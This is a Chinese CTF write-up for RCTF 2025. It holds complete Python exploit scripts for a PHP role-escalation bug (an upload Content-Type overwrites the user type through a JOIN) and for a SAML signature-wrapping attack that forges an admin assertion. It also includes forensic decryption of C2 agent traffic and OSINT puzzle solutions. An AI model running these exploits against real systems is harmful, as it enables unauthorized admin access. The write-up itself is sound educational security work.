RCTF-2025

本文最后更新于 2025年11月19日 晚上

这次比赛没有 Android 题 qwq,还想做做 Android 题的(虽然我不会)(,已严肃学习

Web

photographer

审计 /index.php 代码,这里完成了加载自动加载器 autoload.php,鉴权初始化以及路由分发,请求经过 Apache 的 .htaccess 重写进入该入口,随后由路由器将 URL 映射到控制器方法

1
2
3
4
5
6
7
8
9
10
11
12
// public/index.php
<?php
require_once __DIR__ . '/../app/config/autoload.php';

Auth::init();

$router = new Router();

$routeLoader = require __DIR__ . '/../app/config/router.php';
$routeLoader($router);

$router->dispatch();

鉴权初始化关键地方在 Auth::init(),从会话中读取当前用户 ID 查询用户对象,这里的查询把 userphoto 表进行了连接,使用了 SELECT * 查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// app/middlewares/Auth.php
class Auth {
private static $user = null;

public static function init() {
if (session_status() === PHP_SESSION_NONE) {
session_name(config('session.name'));
session_start();
}

if (isset($_SESSION['user_id'])) {
self::$user = User::findById($_SESSION['user_id']);
}
}
public static function type() {
return self::$user['type'];
}
}


// app/models/Photo.php
class Photo {

public static function findById($photoId) {
return DB::table('photo')
->where('id', '=', $photoId)
->first();
}
}

这里把用户类型值与 admin 的值进行比较,只有已登录且用户权限等级低于 admin 才能看到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// public/superadmin.php

<?php
require_once __DIR__ . '/../app/config/autoload.php';

Auth::init();

$user_types = config('user_types');


if (Auth::check() && Auth::type() < $user_types['admin']) {
echo getenv('FLAG') ?: 'RCTF{test_flag}';
}else{
header('Location: /');
}

可以发现 admin=0,auditor=1,user=2

1
2
3
4
5
6
7
// app/config/config.php

'user_types' => [
'admin' => 0,
'auditor' => 1,
'user' => 2
],

这里的 User::findById 将用户表与图片表通过 LEFT JOIN 连接,并且使用 SELECT *,把两张表的所有列合并成一个关联数组,如果存在同名列,右表会覆盖左表。user 表有 type(用户角色),photo 表也有 type(图片 MIME 类型)。所以只要设置了背景图(user.background_photo_id 指向某张 photo 记录)之后,查询结果中的 type 字段就来自 photo.type 而不是 user.type,相当于 user.typephoto.type 覆盖了

1
2
3
4
5
6
7
8
9
10
11
// app/models/User.php

class User {

public static function findById($userId) {
return DB::table('user')
->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
->where('user.id', '=', $userId)
->first();
}
}

Auth::type() 实际上读取的是图片的 type 字段。如果让某张图片的 type 变成小于 0 的值,就能拿到 flag ,图片的 type 是从上传接口写入的,这个接口直接把 $_FILES['type'] 原样存进数据库,而 $_FILES['type'] 由请求中的 multipart/form-data 文件分段头的 Content-Type 决定,完全可由客户端控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// app/controllers/PhotoController.php

$result = Photo::create([
'user_id' => Auth::id(),
'original_filename' => $file['name'],
'saved_filename' => $savedFilename,
'type' => $file['type'],
'size' => $file['size'],
'width' => $exifData['width'],
'height' => $exifData['height'],
'exif_make' => $exifData['make'],
'exif_model' => $exifData['model'],
'exif_exposure_time' => $exifData['exposure_time'],
'exif_f_number' => $exifData['f_number'],
'exif_iso' => $exifData['iso'],
'exif_focal_length' => $exifData['focal_length'],
'exif_date_taken' => $exifData['date_taken'],
'exif_artist' => $exifData['artist'],
'exif_copyright' => $exifData['copyright'],
'exif_software' => $exifData['software'],
'exif_orientation' => $exifData['orientation']
]);

图片校验函数 isValidImage 并不校验 Content-Type,它仅验证扩展名、大小以及 getimagesize 是否能读出基本信息。因此我们既可以上传一张合法的 PNG/JPG 文件来满足这些检查,又可以在分段头将 Content-Type 写成任意字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// framework/helpers.php
function isValidImage($file) {
$allowedExtensions = config('upload.allowed_extensions');

$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowedExtensions)) {
return false;
}

if ($file['size'] > config('upload.max_size')) {
return false;
}

$imageInfo = @getimagesize($file['tmp_name']);
if ($imageInfo === false) {
return false;
}

return true;
}

因此,将文件分段头设为 Content-Type: -1 上传一张满足扩展名和 getimagesize 的合法图片,得到这张图片的 photo_id。然后调用 /api/user/background 将其设为当前用户的背景图。此时再访问 superadmin.php,由于 Auth::type() 读取的是 photo.type 且它是 -1,满足 < admin(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import re
import json
import os
import sys
import subprocess
import tempfile
import urllib.parse
import random
import string

IMG_PATH = os.path.abspath("./91EEBBBCE4AD1B8477F42D4A25B6E11F.png")

BASES_DEFAULT = [
"http://1.95.160.41:26000",
"http://1.95.160.41:26001",
"http://1.95.160.41:26002",
]

def run(cmd):
return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout

def get_csrf_from_html(html):
m = re.search(r'name="csrf_token"\s+value="([^"]+)"', html)
return m.group(1) if m else None

def get_cookie_path(port):
if os.name == "nt":
return os.path.join(tempfile.gettempdir(), f"photographer_{port}.cookie")
else:
return f"/tmp/photographer_{port}.cookie"

def curl_get(url, cookie):
return run(f"curl -s -b \"{cookie}\" {url}")

def curl_post_form(url, data, cookie):
payload = urllib.parse.urlencode(data)
return run(f"curl -s -c \"{cookie}\" -b \"{cookie}\" -X POST {url} --data \"{payload}\"")

def build_multipart_body(img_bytes, field_name="photos[]", filename="91EEBBBCE4AD1B8477F42D4A25B6E11F.png", forced_ct="-1"):
boundary = "----TraeBoundary" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
head = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\n'
f"Content-Type: {forced_ct}\r\n\r\n"
).encode()
tail = f"\r\n--{boundary}--\r\n".encode()
return boundary, head + img_bytes + tail

def curl_post_multipart(url, boundary, body_path, cookie):
return run(
f"curl -s -b \"{cookie}\" "
f"-H \"Content-Type: multipart/form-data; boundary={boundary}\" "
f"--data-binary @{body_path} {url}"
)

def exploit_base(base):
port = base.split(":")[-1]

cookie = get_cookie_path(port)
open(cookie, "a").close()

reg_html = run(f"curl -s -c \"{cookie}\" {base}/register")
csrf = get_csrf_from_html(reg_html)
if not csrf:
return base, "no csrf", None

email = f"user123@qq.com"
curl_post_form(f"{base}/api/register", {
"csrf_token": csrf,
"username": f"user123",
"email": email,
"password": "123456",
"confirm_password": "123456"
}, cookie)

with open(IMG_PATH, "rb") as f:
img_bytes = f.read()
boundary, body = build_multipart_body(img_bytes, "photos[]", "91EEBBBCE4AD1B8477F42D4A25B6E11F.png", "-1")

body_path = tempfile.mktemp(prefix="p_body_", suffix=".bin")
with open(body_path, "wb") as fp:
fp.write(body)

up_json = curl_post_multipart(f"{base}/api/photos/upload", boundary, body_path, cookie)
print("[DEBUG UPLOAD]", up_json)

try:
pid = json.loads(up_json)["photos"][0]["id"]
except Exception:
return base, "upload parse failed", None

settings_html = curl_get(f"{base}/settings", cookie)
csrf2 = get_csrf_from_html(settings_html)
if not csrf2:
return base, "settings csrf missing", None

curl_post_form(f"{base}/api/user/background", {
"photo_id": pid,
"csrf_token": csrf2
}, cookie)

flag = curl_get(f"{base}/superadmin.php", cookie).strip()

return base, "ok", flag


def main():
bases = sys.argv[1:] or BASES_DEFAULT
for base in bases:
host, status, result = exploit_base(base)
print(f"{host} -> {status} -> {result or '<no output>'}")

if __name__ == "__main__":
main()

1
RCTF{h4rd_70_54y_wh37h3r_175_4_bu6_0r_4_f347ur3}

auth

这道题是通过注册漏洞+断签名攻击,将用户的 SAMLResponse 包装成管理员身份

身份提供方 idp: http://auth.rctf.rois.team/

服务提供方 sp: http://auth-flag.rctf.rois.team:26000/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──────────┐   register(type=0x10)   ┌──────────────┐
│Attacker │ ─────────────────────→ │ IDP │
└──────────┘ └──────────────┘
│ │
│ login + get SAMLResponse │
└──────────────────────────────→ │

attacker obtains signed SAMLResponse


attacker modifies XML:
+ add fake admin assertion
+ keep original signature
+ SAML wrapping attack


send forged SAMLResponse to SP


get FLAG as admin

审计代码发现只在 parseInt(type)==0 时才检查邀请码,用 type=0x10 可以绕过进行注册,并且 samlController.idpInitiatedSSO/sso 还要求 req.session.userType == 0,虽然绕过了注册但用户实际存储的 type 不为 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// idp-portal/src/controllers/authController.js
const { username, email, password, type, invitationCode, displayName, department } = req.body;
if (parseInt(type) === 0) {
if (!invitationCode || invitationCode !== config.getInviteCode()) {
return res.render('register', {
title: 'User Registration',
errors: [{ msg: 'Invalid invitation code' }],
formData: req.body
});
}
}


// idp-portal/src/controllers/samlController.js
static async idpInitiatedSSO(req, res) {
const { serviceId } = req.params;

if (!req.session || !req.session.userId) {
return res.redirect(`/login?serviceId=${serviceId}`);
}

if (req.session.userType !== 0) {
return res.status(403).render('error', {
title: 'Access Denied',
message: 'You do not have permission to access this service. Please contact the administrator to invite you to register.',
user: req.user
});
}

SP 的 /admin 接口会检查会话中的 email 是否等于 admin@rois.team

1
2
3
4
5
6
7
8
9
10
11
// sp-flag/app.py

@app.route('/admin')
def admin():
if 'email' not in session:
return redirect(url_for('saml_login'))

if session.get('email') != 'admin@rois.team':
return render_template('error.html', error='Insufficient permissions, admin access only'), 403

return render_template_string(os.getenv("FLAG","RCTF{test_flag}"))

触发 IDP 发回的 SAMLResponse,串联两份 Assertion 并把其中一个的 NameID 改成 admin 后再提交给 SP

参考战队师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
import base64
import random
import re
import string
import sys
import urllib.request
import urllib.parse
import http.cookiejar


IDP_BASE = "http://auth.rctf.rois.team"
SP_BASE = "http://auth-flag.rctf.rois.team:26000"


def make_opener():
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
opener.addheaders = [("User-Agent", "Mozilla/5.0 (saml-exploit)")]
return opener


def random_string(length=8):
return "".join(random.choice(string.ascii_lowercase) for _ in range(length))


def register_invited_user(opener, username, email, password):
data = urllib.parse.urlencode(
{
"type": "0x10", # bypass invite check, but stored as type=0 in MySQL
"invitationCode": "",
"username": username,
"email": email,
"password": password,
"confirmPassword": password,
"displayName": username,
"department": "IT",
}
).encode()

url = f"{IDP_BASE}/register"
resp = opener.open(url, data=data, timeout=10)
body = resp.read().decode("utf-8", errors="ignore")

print("[+] Register status:", resp.getcode(), "URL:", resp.geturl())

if "User Registration" in body and "alert-error" in body:
print("[!] Registration appears to have failed")
print(body[:300])
return False

return True


def login(opener, username, password):
data = urllib.parse.urlencode(
{
"username": username,
"password": password,
}
).encode()

url = f"{IDP_BASE}/login"
resp = opener.open(url, data=data, timeout=10)
body = resp.read().decode("utf-8", errors="ignore")
print("[+] Login status:", resp.getcode(), "URL:", resp.geturl())

if "Invalid username or password" in body:
print("[!] Login failed")
return False

return True


def get_legit_saml_response(opener):
url = f"{IDP_BASE}/saml/idp/Flag"
resp = opener.open(url, timeout=10)
html = resp.read().decode("utf-8", errors="ignore")
print("[+] IdP-initiated SSO status:", resp.getcode(), "URL:", resp.geturl())

if "Access Denied" in html or "do not have permission" in html:
print("[!] No permission to access SAML service")
print(html[:300])
return None

m = re.search(r'name="SAMLResponse"\s+value="([^"]+)"', html)
if not m:
print("[!] Could not find SAMLResponse in HTML. Snippet:")
print(html[:500])
return None

saml_response = m.group(1)
print("[+] Extracted SAMLResponse length:", len(saml_response))
return saml_response


def build_malicious_saml_response(orig_b64):
try:
xml = base64.b64decode(orig_b64).decode("utf-8", errors="ignore")
except Exception as e:
print("[!] Failed to decode original SAMLResponse:", e)
return None

start = xml.find("<saml:Assertion")
if start == -1:
print("[!] No <saml:Assertion> found in SAML response")
return None

end = xml.find("</saml:Assertion>", start)
if end == -1:
print("[!] Unterminated <saml:Assertion>")
return None
end += len("</saml:Assertion>")

assertion_xml = xml[start:end]

# Remove the signature from the copied assertion (we keep it only on the original one)
assertion_no_sig = re.sub(
r"<ds:Signature.*?</ds:Signature>",
"",
assertion_xml,
flags=re.S,
)

# Change NameID to admin email
assertion_admin = re.sub(
r"(<saml:NameID[^>]*>)(.*?)(</saml:NameID>)",
r"\1admin@rois.team\3",
assertion_no_sig,
count=1,
flags=re.S,
)

# Remove ID attribute to avoid conflicts and signing
assertion_admin = re.sub(r'\sID="[^"]+"', "", assertion_admin, count=1)

# Insert malicious assertion before the original one
manipulated_xml = xml[:start] + assertion_admin + xml[start:]

new_b64 = base64.b64encode(manipulated_xml.encode("utf-8")).decode("ascii")
return new_b64


def send_to_sp(saml_response_b64):
opener_sp = make_opener()

data = urllib.parse.urlencode(
{
"SAMLResponse": saml_response_b64,
}
).encode()

url = f"{SP_BASE}/saml/acs"
resp = opener_sp.open(url, data=data, timeout=10)
body = resp.read().decode("utf-8", errors="ignore")
final_url = resp.geturl()

print("[+] Final URL after ACS:", final_url)
print("[+] Response body (first 500 chars):")
print(body[:500])

m_flag = re.search(r"(RCTF\\{[^}]+\\})", body)
if m_flag:
print("[+] FLAG:", m_flag.group(1))
else:
print("[!] FLAG pattern not found in response")


def main():
username = "evil_" + random_string()
email = f"{username}@example.com"
password = "Password123!"

print("[*] Using username:", username)

opener = make_opener()

# 1) Register user with crafted type
if not register_invited_user(opener, username, email, password):
return 1

# 2) New opener (fresh session) and login so userType comes from DB (type=0)
opener = make_opener()
if not login(opener, username, password):
return 1

# 3) Get legitimate SAMLResponse for this user
legit_b64 = get_legit_saml_response(opener)
if not legit_b64:
return 1

# 4) Build malicious wrapped SAMLResponse with NameID=admin@rois.team
evil_b64 = build_malicious_saml_response(legit_b64)
if not evil_b64:
return 1

print("[+] Built malicious SAMLResponse, length:", len(evil_b64))

# 5) Send to SP and print flag
send_to_sp(evil_b64)

return 0


if __name__ == "__main__":
sys.exit(main())

拿到 flag

1
RCTF{4re_you_really_an_administrator??!!}

Misc

Signin

把 score 改大

1
RCTF{W3lc0m3_T0_RCTF_2025!!!}

Shadows of Asgard

Challenge 1: The Merchant’s Mask

1
What is the name of the company Loki used as camouflage on his C2 server's front page?

看 http 流量包

1
渊恒科技

Challenge 2: The Parasite’s Nest

1
Identify the complete file path where Loki's C2 agent was running.

查看带有 png 的流量包,有 aeskey 和 iv 和 data

aes 直接解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import json
import base64
import ast
from Crypto.Cipher import AES

body = {
"agentId": "vf3d665af4a0ebc4",
"aesKey": "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0=",
"aesIV": "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0=",
"data": "N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMWJhZThhMmNlN2IwNmI0YjA1NDA0OTNmNGVhM2ZjMTc2"
}

aesKey_b64 = body["aesKey"]
aesIV_b64 = body["aesIV"]

key_str = base64.b64decode(aesKey_b64).decode()
iv_str = base64.b64decode(aesIV_b64).decode()

key_list = ast.literal_eval(key_str)
iv_list = ast.literal_eval(iv_str)

key = bytes(key_list)
iv = bytes(iv_list)

data_b64 = body["data"]

cipher_hex_bytes = base64.b64decode(data_b64)
cipher_hex_str = cipher_hex_bytes.decode()

cipher_bytes = bytes.fromhex(cipher_hex_str)

cipher = AES.new(key, AES.MODE_CBC, iv)
plain_padded = cipher.decrypt(cipher_bytes)

pad_len = plain_padded[-1]
plain = plain_padded[:-pad_len]


print(plain)

解出来一些信息

1
b'{"systemInfo":{"hostname":"DESKTOP-EO5QI9P","username":"dell","osType":"Windows_NT","osRelease":"10.0.17763","platform":"win32","arch":"x64","PID":6796,"Process":"C:\\\\Users\\\\dell\\\\Desktop\\\\Microsoft VS Code\\\\Code.exe","IP":["192.168.77.134"],"mode":"egress"},"timestamp":1763017667381}'

路径

1
C:\\Users\\dell\\Desktop\\Microsoft VS Code\\Code.exe

Challenge 3: The Hidden Rune

1
What is the taskId for the pwd command that Loki executed?

一个一个提取流量包里的 PNG 数据带入上面的脚本 data 中解密,加密字段如下

1
MmE2ZGY1ZWJiY2UwODM1OTFmOWJkMjEyNWExNDc1MGNlYTNlYzM5NThmOGNkNjNiZDUxOGJlYzBjODZkZjE3YTAzMjk3MWM1NDVmNjE1ZTY4OGJlNTM4OTgwOTFmYmY2NDczZGIzM2ZlYTZiYjFmOWJiMjBjYjIxNTYzNWViM2I2NzBlZDQxMzNhMGI1OTU2NmNhMGY2YTkyMzBmMDdkZA==

解密为

1
b'{"command":"pwd","outputChannel":"o-1xk645wxtri","taskId":"c0c6125e"}'

taskid

1
c0c6125e

Challenge 4: The Forge of Time

1
When was Thor's C: drive created?

密文

1
ZTdhYmFmMmI5MWJhYzhiNDc0NTA4NTUxNmJjMjI0MDI2MzdkNDc0NmY3MGU5ZmE5ZDk2NjgzZWNkM2Y5Y2NjODZmMzJhNGUxYWZhNDc5ZjJmYmU0NzNlMmU2OTAyNDcwMGE0OTJkMTNkZjMwN2FjNmM3ZWZhYmJiZDU4MjRkNzg2ODYwOTM3YWJkMmIyYTVjMTJiMGZhODJjZDAyZWQ4YmFhNjdiNzJkN2YyN2QwYjM2YTY3MzQxYWVhMDNhNGQ4ZDQ3Y2Y4NWNkOWZiMzZiMTU0ZDk5ZjM2ZmI4ZWE5ZTg5OGEwNmNiMjE5ZGExNzdlZGE1MGYwYmE4NjE0YjNhMzdlMzkwMTEyZGE1NDI2MGIwNGQwMThjM2NmOTc2Y2QyYzdhNWM0ZjM1NzI1OGUzNDMyNWY1N2Y0MDNmYzE0YTA=

解密

1
b'Drive: C:\nCreated: Fri Sep 14 2018 23:09:26 GMT-0700 (Pacific Daylight Time)\nModified: Wed Nov 12 2025 22:52:43 GMT-0800 (Pacific Standard Time)\n---\n'

答案

1
2018-09-14 23:09:26

Challenge 5: Raven’s Ominous Gift

1
What secret message did Loki hide in the file he uploaded?

有一段数据解出来发现保存了 flllllag.txt 文件

1
b'File saved to C:\\Users\\dell\\Desktop\\Microsoft VS Code\\fllllag.txt (43 bytes)'

对 png 内密文解密

1
M2EyODkyNWFmM2U2MDhlNzJmYjM5ZjA0Zjg2OWYzYTg3YzM1MTNkYzJmZjFmOGJkM2I4ODQwZjE4ZjFhN2E1ZjRhMTM0OWRlNzFmNGU5NjgzZGE4YjE1Y2E5OTE2MWJlODVjYWE0MjNjZGUxMzI4NWM0ZjUyODk0OWE1NWY4YzlmZTc5Mzg2N2U4YTlmM2NlOTczMTQ5NGI0MzVmMmI4MzEwM2ZjMTc5YWY5ODc4MTc3ZjFiMmQwNjcyMzYwNWI4ZWQzZDI0NTZiMDYyODgwM2JiNjAxNDYzZWI5MjFiN2I1NjUwZjY1ZWVmZGEwNzY3MjAwZjVjMmQzNzJlMzQwNGI0M2NiNWFiOTY4MTE4OTUxYjI4YzY5M2I0MmRiNmYyZGZmNzFiN2UxNWMzNWFjZjA4OTQ1ZDQ0MTRmNTY5ZTkwZWM4NDcyZWFlZDE5ZDE3ZjZmODc0NGM4Y2JkOGMyODE0OGUxMDdmMTQzM2NhOWUwYzYzODJlNWVlNzYzODBjY2ZjMGQ0YjhlZDE2MTY3NDJmMDU3MWYzYmM0MmQ1ZjVkMjY4ZTFhM2ZiNDU3OTEzMTJkZTlmNTRjZTFkMjU2OTdiODZmYjExZTM1MWY4MWIwNzliOGRmZjA3ZGQ3ZDhmYzAyZDRkZDY4NjNkNDk5ZDE3ZmRkYTg1NzBkMjMxODNkMzU3N2M5OTcwYjE1YjU5YWZkMzNiYjM2NDVhZDE1Yw==

解密为

1
{"outputChannel":"o-2ggeq7qpt2u","taskId":"shell-upload-1763017722153","fileId":"dd45c631-ec19-40b1-aa1b-e3dea35d21ae","filePath":"C:\\\\Users\\\\dell\\\\Desktop\\\\Microsoft VS Code\\\\fllllag.txt","fileData":"UkNURnt0aGV5IGFsd2F5cyBzYXkgUmF2ZW4gaXMgaW5hdXNwaWNpb3VzfQ=="}

base 解码

1
RCTF{they always say Raven is inauspicious}

最终 flag

1
RCTF{Wh3n_Th3_R4v3n_S1ngs_4sg4rd_F4lls_S1l3nt}

Speak Softly Love

Challenge 1: Video ID

1
Even with the limited hardware of that era, this small player could still produce surprisingly gentle melodies. Please help me locate the ID of the original upload of this piece.

截图谷歌识图搜索,youtube 视频就是

https://www.youtube.com/watch?v=8ssDGBTssUI,ID 为 v 的值

1
8ssDGBTssUI

Challenge 2: Code Revision

1
The developer behind it has quietly maintained his corner of the net for many years. Please help me locate the version entry in the author's own code history where he introduced a safeguard to prevent endless "soft error" loops caused by missing playlist items.

要提交 Code revision 代码修订号,根据视频下的信息找到 svn://svn.mateusz.fr/dosmid

从 SVN 仓库检出源码查看修订记录

1
2
3
svn checkout svn://svn.mateusz.fr/dosmid dosmid-svn
cd dosmid-svn
svn log

这里的 soft errors

1
r178

Challenge 3: Name-pronunciation URL

1
The developer has quietly maintained his corner of the net for many years. Please help me locate the full URL that points to the recording in which he pronounces his own name.

点 here it is

1
https://mateusz.viste.fr/mateusz.ogg

Challenge 4: Donation address

1
The developer has quietly maintained his corner of the net for many years — a place filled with personal tools, archived ideas, and even a way to show appreciation if his work ever brought you something valuable. Please help me locate the address he published for donations in digital currency.

查找捐赠地址,这里有一个 gopherspace node,访问

1
lynx gopher://gopher.viste.fr

找到地址

1
16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

拿到 flag

1
RCTF{wh3n_8086_s4ng_s0f7ly_0f_l0v3}

Wanna Feel Love

Challenge 1

1
She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.

给了一个邮箱文件,outlook 打开可以发现还有一个 challenge.xm 文件

一个垃圾邮件的隐写,https://www.spammimic.com/decode.cgi,这个网站可以解密

1
Don't just listen to the sound; this file is hiding an 'old relic.' Try looking for the 'comments' that the player isn't supposed to see.

Challenge 2

1
She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.

需要给出 xm 里面藏有的信息,用 OpenMPT 打开在 Samples5 的 Feel 波可以看到像条形码一样的

二进制转化,黑色 0 红色 1

1
01001001 00100000 01000110 01100101 01100101 01101100 00100000 01000110 01100001 01101110 01110100 01100001 01110011 01110100 01101001 01100011 00100000 01101000 01100101 01111001 01101000 01100101 01111001 01101000 01100101 01111001

解密出来为

1
I Feel Fantastic heyheyhey

Challenge 3

1
She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.

搜索字符串能找到这种东西,有点哈人

找到信息链接

1
https://archive.org/details/youtube-rLy-AwdCOmI

1
2
3
id:rLy-AwdCOmI
data2009-04-15
uploader:Creepyblog

Challenge 4

1
Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?

找购买她 DVD 的链接,询问 AI 可以找到

gpt 有点傻,sender 分析错了,但在给的链接里面找到了,https://yitzilitt.medium.com/the-story-behind-i-feel-fantastic-tara-the-singing-android-and-john-bergeron-fc83de9e8f36

1
2
3
purchase link:https://androidworld.com/prod68.htm
sender:Chris Willis
Creation Year:2004

Challenge 5

1
Some called her creator a murderer, others said he built her out of love. She only wanted to sing. She wants to tell you. She just feels love. The truth lies in older archives — an obituary, a quiet memorial, where the story of her creator rests in digital silence. Find the developer's digital grave. (URL, no trailing slash)

找数字墓地,评论区有个网页

跳转到

1
https://www.findagrave.com/memorial/63520325/john-louis-bergeron

最终 flag

1
RCTF{sh3_ju5t_f33ls_l0v3_thr0ugh_w1r3s_4nd_t1m3}

Asgard Fallen Down

Challenge 1: The First Command

1
2
3
4
5
6
7
8
After successfully infiltrating Thor's machine, Loki's agent came to life. Like all beginnings, the first action reveals intent.

Hidden among thousands of scanning requests and server responses, Loki issued his opening move—the first command that set his plan in motion.

Question: What was the first command Loki executed after his agent established connection?

Flag Format: complete_command (The exact command Loki sent to the agent)

和前面的流量包加密方式相同,AES 加密,key 和 iv 在 html 中

在请求包数据中密文,两次 base64 解码

1
TUdZeU9HVXdabVl4T0dFd1pXWmxObU5oWVRNellqWm1PV0ZtWkdFM1lqa3hNRGd5TldJNVptWTNZMk16TVRkaFpqUXpZbVExWVRRMlpUUXpOVGN4Tm1ZelkySTNOREUxWmpWak1UZ3dNRGd3Tm1NMU1tUTVaakEzTmpZelpHTmlNREE0T0dJMk9HUTJPVGhpT0RZMk5HSXpNV1kyT0RRMU1UY3dZVGt5TkdNNE1XRmhZakk1TXpka016TTJaRGMyWmpjMk5ETXlZMlk0WlRaa01EVXlZZz

1
spawn whoami

Challenge 2: The Heartbeat

1
2
3
4
5
6
7
8
9
Thor's attacks were chaotic—random intervals, sporadic bursts, the rhythm of fury. But Loki's agent operated with cold precision.

Buried in the noise, the agent sent regular heartbeats back to its master, each pulse proving it remained alive and obedient. These signals followed a steady cadence, mechanical and unwavering.

Find the pattern. Find the pulse.

Question: How many seconds passed between each heartbeat of Loki's agent?

Flag Format: integer (e.g., 30)

查找每次攻击的间隔,AI 一把梭了

1
10

Challenge 3: The Heart of Iron

1
2
3
4
5
6
7
8
9
"Every warrior has a heart that drives them. For mortals, it beats with blood. For machines, it pulses with silicon and electricity. Loki, ever curious, sought to know the very core of Thor's weapon—the processor that powers his digital fortress."

During his infiltration, Loki commanded his agent to enumerate the environment, cataloging every detail of Thor's system. Among the mundane variables and paths, one piece of information reveals the machine's very identity—its processor, the beating heart of computation.

Like a smith examining the forge that created a sword, Loki identified the specific metal and make of Thor's processor.

**Question:** What processor model powers Thor's machine?

**Flag Format:** Complete_Processor_Model_String (e.g., Intel64 Family 6 Model 85 Stepping 4, GenuineIntel

找机器 CPU,解密密文

1
Intel64 Family 6 Model 191 Stepping 2, GenuineIntel

Challenge 4: Odin’s Eye

1
2
3
4
5
6
7
8
9
"Odin sacrificed his eye to drink from Mimir's well and gain wisdom. Loki needs no such sacrifice—he simply steals the sight of others."

In the final moments before vanishing, Loki commanded his agent to capture what Thor's own eyes were seeing—a snapshot of the screen, frozen in time. Within this stolen image lies evidence of Thor's own weapons, the very tools he was using to hunt Loki.

The irony is exquisite: Thor's scanner, visible on his own screen, was documented by the very enemy he sought to find.

**Question:** According to the screenshot Loki exfiltrated, which vulnerability scanning tool was Thor running at that moment?

**Flag Format:** ToolGithubRepoName (e.g., if the tool's repository is https://github.com/user/AwesomeTool, answer AwesomeTool)

找截图使用的工具,从 2786 数据流在对数据进行分片传输,一共 15 片

导出数据进行拼接

1
2
3
4
5
6
7
8
